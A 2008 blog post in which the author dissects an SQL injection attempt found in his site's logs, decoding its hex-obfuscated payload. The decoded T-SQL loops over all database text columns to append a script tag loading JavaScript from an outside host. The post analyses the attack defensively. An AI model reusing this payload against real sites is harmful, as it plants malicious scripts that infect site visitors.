Skip Navigation LinksHome > View Post

Stop trying to hack me

I had a huge list of errors in my blogs log this morning and they all had something very unusual in common: a request url that looked like this:

/Archive.aspx?month=8&year=2008';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444 ... snipped for brevity ... 36F72 %20AS%20CHAR(4000));EXEC(@S);

At first it just looked like noise, but a second look revealed a few interesting pieces. Most telling is the single quote added to a querystring value which is a sure sign someobody's having a go at some SQL injection. Naughty.

I was kind of impressed that the malign chap had gone to the trouble of obfuscating the SQL by embedding the majority of his script in hex. However, a careful C&P to SQL Query analyzer allowed me (being sure not to execute the EXEC(@S) part of the query).

DECLARE @S CHAR(4000);
SET @S = CAST( 0x444 ... snipped for brevity ... 36F72 AS CHAR(4000));
PRINT @S;

Which revealed:

DECLARE @T varchar(255), @C varchar(4000)
DECLARE Table_Cursor CURSOR
    FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
        WHILE(@@FETCH_STATUS=0)
            BEGIN
            exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
            END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    
Ooh nasty! The culprit must be targetting blogs (and/or other sites that store HTML content directly in the database) and is trying to squirt in a script link to some content he has hosted on a server somewhere. A kind of SQL/XSS hybrid attack.

This reminded me of one of my favourite articles on SQL injection by Michael Sutton called How Prevalent Are SQL Injection Vulnerabilities?.

In it he describes an idea to discover websites that are vulnerable to SQL injection using the google API, the results are particularly interesting:

Initial population of URLs1000
Population after removal of duplicate servers732
Population after removal of failed requests708
Total number of verbose SQL errors80
Percentage of sample web sites potentially vulnerable to SQL injection attacks11.3%

Scary. If you're not familiar with SQL Injection check out the wikipedia entry.

Tags: ASP.NET

 
Josh Post By Josh Twist
4:40 AM
21 Aug 2008

» Next Post: Explore Stack Trace in Resharper
« Previous Post: One Way operations in services

Comments are closed for this post.

Posted by Brian Johnston @ 21 Aug 2008 6:46 PM
Interesting. Wonder if you didn't use query strings if it wouldn't of slowed him down some?

Posted by Dima @ 25 Aug 2008 3:11 PM
I am having the same problem now, can u tell me how did u decode CAST( 0x444

Thanks for your help

Posted by Josh @ 26 Aug 2008 12:58 AM
That's shown above: DECLARE @S CHAR(4000);
SET @S = CAST( 0x444...36F72 AS CHAR(4000));
PRINT @S;

Posted by Curt @ 26 Aug 2008 8:05 PM
I have been seeing this is my log for the past few weeks. It seems like it is happening more and more. Did your stop or are you still seeing this attack?

Posted by Josh @ 27 Aug 2008 4:44 AM
Not sure but I suspect so. I've configured my logging filters to disregard this specific attack.

© 2005 - 2014 Josh Twist - All Rights Reserved.